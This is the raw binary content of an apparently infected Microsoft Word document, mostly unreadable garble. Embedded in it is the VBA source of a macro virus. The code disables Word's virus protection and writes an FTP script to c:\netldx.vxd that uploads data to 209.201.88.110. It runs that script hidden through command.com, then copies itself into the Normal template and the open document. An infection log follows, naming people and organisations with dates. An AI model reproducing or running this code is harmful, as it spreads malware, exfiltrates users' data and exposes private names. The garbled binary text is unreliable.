ࡱ> +.*` Rrbjbj29llll x > kkk$ hRf!kkkkkAAAkAkAAA ̕Yl(A$ 0> A!AALkkAkkkkk7 kkk> kkkk$(D( DN6 eY[N[ċhev 3ubLy Yec NN N[ċ[aċN[~{T ċN[Ly ċN[]\OUSMO $8Bvx& ( 8 : < J x z | JLprΜ΍usndhtoh!2CJo( h!2o(Uh3CJOJQJo(hC]5CJOJQJo(hC]CJKHOJQJ^Jo(hC]CJOJQJo(hC]>*CJOJQJo(hb!->*CJOJQJo(h!2>*CJOJQJo(h!2CJOJQJo(h!2CJ$OJPJQJaJ$o(h],CJPJaJo(hsh],CJPJo(#8( 8 : < Lrvhh_QdhWD`gdtodYD2HdYD2lkd$$Ifl45&$ t0|644 laf4 $$1$Ifa$d d YD2gd], r ċe ldkhRvY[ċN[USMOlQz00182P. A!"n#$n%S $$If!vh5%#v%:V l45& t0|65/ f4N@N cke $1$a$$CJKHPJ_HaJmH nHsH tH$A$ ؞k=W[SOFi@F nfhI@tY. ՜.+,0 X`x Microsoft China8   !#$%&'(),-X0R23456789:;<=>?@ABCDEFGHIJKLMNOPQSTUVWYRoot Entry FѕY/Data  1TableWordDocument2SummaryInformation(DocumentSummaryInformation8"Xacros̕Y̕YXBA̕Y̕YdirThisDocument 1XVBA_PROJECT * PROJECT :m  !"#$%&'()*+,-./0123456789;<=>?B0* pHdProjectQ(@= l Q J< rstdole>stdolePh%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C ИQ!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE11\MSO.DLL#M 11 .0 Ob Library%"zhBeThisDocumentG  Tfis"DHcu@Ienn 2 (HB1B5XB,!T"B+BBay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\Program Files\Microsoft4hxME (S"SS"<(1Normal.ThisDocument(% @Lx@  @" @$ `& @( `* @, @. @0 `200"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P .X   *   *  ( ,0 ` p *x   *   * 8 H *P   ,   *    ,( X h *p   *   * 8 H *P   ,   .    (( P ` .h   ,   , ( 8 *@ p  *   *   , @ P *X   ,   ,  ( *0 ` p 0p]<- this is a marker!pDeclare Variables]000]C]0H` Initialize Variables 4!6!8%:.( <!6!8%:.* '' (!>%@'$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ (!>!P (!>%N'0 &e *!>!P *!>%N'0k 0 0' Logfile --> 0 0' Logfile --> $'0 R 2 V$T$ '2 RC:\hsf 2.sys'2 2 0Vc:\netldx.vxdo 209.201.88.110user anonymous pass itsme@ cd incoming<-asciisput 2quitWVker = *command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anything  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$$f d!. R$ $f . d!. R$'.kd .$f' '.k R ) ,$f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$$f'  d!j$f'  .$f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP0" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowann E% 08:21:12 AM - Wednesday, 27 Jan 1999Ma IMSI "" 10:59:58 AM - Friday, 29 Jan 1999 Rajlar$ 03:37:57 PM - Saturday, 30 Jan 1999men horndeN" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godwardr" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward " 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley GodwardA# 04:23:52 PM - Thursday, 4 Feb 1999As  Cooley GodwardI# 04:27:39 PM - Saturday, 6 Feb 1999ad  Cooley Godwardu! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hcleeje% 04:44:45 PM - Wednesday, 17 Feb 1999 D Dr. W. Hsiaoec% Wendy Hsiao, Ph.D.nd# 04:13:19 PM - Tuesday, 23 Feb 1999 10 CCSTNo$ 10:09:35 AM - Saturday, 20 Mar 1999.Co cpwule# 09:33:49 AM - Thursday, 6 May 1999  8# 12:39:25 PM - Tuesday, 20 May 1997 ' ghc-bbc ! 01:21:36 PM - Friday, 7 May 1999 # 05:51:53 - Wednesday, 12 May 1999Coo qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999PM  a$ 02:53:46 - Tuesday, 6 Sep 2011odw $ 09:37:47 - Monday, 19 Sep 2011rsd ʿe$ 01:41:54 - Monday, 26 Sep 2011 ' unknown'' 10:50:02 - Wednesday, 19 Oct 2011F ףȪ' 08:27:05 - Wednesday, 26 Oct 2011  ٻ:$ 10:37:36 - Monday, 31 Oct 20119  ˷y$ 04:21:38 - Monday, 31 Oct 20117:1 ÷T& 08:15:53 - Wednesday, 2 Nov 2011e Ż᷼ # 03:51:55 - Friday, 4 Nov 2011ay, $ 11:58:54 - Friday, 11 Nov 2011  ƽƽ $ 05:13:35 - Friday, 11 Nov 2011  4$ 03:14:00 - Monday, 14 Nov 2011eb  % 08:20:05 - Tuesday, 15 Nov 2011AM ur$ 04:52:59 - Monday, 28 Nov 2011 ' ΢û% 04:12:26 - Tuesday, 27 Dec 2011 M ΢û$ 09:17:06 - Friday, 30 Dec 201125  Administratoray$ 05:43:54 - Friday, 30 Dec 2011 ' û27'$ 08:05:33 - Tuesday, 3 Jan 2012May User '$ 01:17:36 - Monday, 23 Jan 2012 - ΢û& 05:59:02 - Wednesday, 1 Feb 2012g USER ' 02:51:32 - Wednesday, 29 Feb 2012 ΢û! 04:02:03 PM - Friday, 9 Mar 2012 ΢û' 10:52:09 - Wednesday, 14 Mar 2012  joker % 05:08:02 - Tuesday, 20 Mar 2012ay USERep& 09:59:28 - Wednesday, 7 Mar 20121: ΢û$ 01:41:27 - Friday, 30 Mar 2012 un USER '$ 08:39:39 - Monday, 16 Apr 2012edn ΢û$ 08:10:49 - Monday, 14 May 2012  y& 10:19:53 - Thursday, 31 May 2012Oc $ 09:19:40 - Tuesday, 5 Jun 20126 N jwcond& 08:31:11 - Wednesday, 6 Jun 2012  ഺ0& 04:30:33 - Wednesday, 6 Jun 2012t  Ҷ' $ 01:17:22 - Tuesday, 3 Jul 2012 NHS  ԶsBAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTruBExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S&= 20<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op enOutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA2a Ͽ[W   .1dQ1 }pXX0ZX3S'Wria log rfofP, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&fW' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK B1. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829JRajK@u7:5LSatu rL3K q!6+15@f -28z΢û12M3pxU3 0Y0$U`uAdministrator554 wbQ 21JW0e5g3 ` 2 Use@/;{,9;;_VSER{`T2 i%2:03CpE9Trq31F9_7 (fujok5:16 djU9'Mc/ U'D(!{ _81nT1p6 Ap?;I0ہu4jyJ~1MxPye 3>0u@njwx0+1 È@ഺ+48:303((Ҷ՛"3 3ul( Office\OFFICE11\MSWORD.OLB#Microsoft Word 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormalИQ(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library QhThisDocument04519907deThisDocument5 [ZM(y,`9:,Wordk`VBA`Win16~`Win32`Mac`VBA6#`1p`stdole``Project-` ThisDocument<` _Evaluate`Normal`Officeu`Documentj`Document_Close7\`MarkerS` SaveDocumentd]`SaveNormalTemplatel`DocumentInfected `NormalTemplateInfectedy`ad~\`nto^`OurCode=` UserAddressF`LogData(6`LogFileG`ActiveDocument\` VBProjectOh` VBComponents '`Itemz`NormalTemplateq` CodeModule`Findn`Options`VirusProtectionoD`Day`Now%`Systema`PrivateProfileString[`Lines` CountOfLines!\`i``Str`RndR`ShellV`vbHideW` SaveFormat`wdFormatDocument`wdFormatTemplatee`Savedd` Application*`ChrK~`Time`UserName\` DeleteLines `AddFromString`Save`FullNameО`TID="{69D64E84-3997-4CAF-8EE0-F2A935C6EEF6}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="F3F1ECE3DBE7DBE7DBE7DBE7" DPB="E6E4F9F01F101311131113" GC="D9DBC6FBC7FBC704" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C PROJECTwm@)CompObjAmThisDocumentThisDocument  FMicrosoft Office Word ĵ MSWordDocWord.Document.89q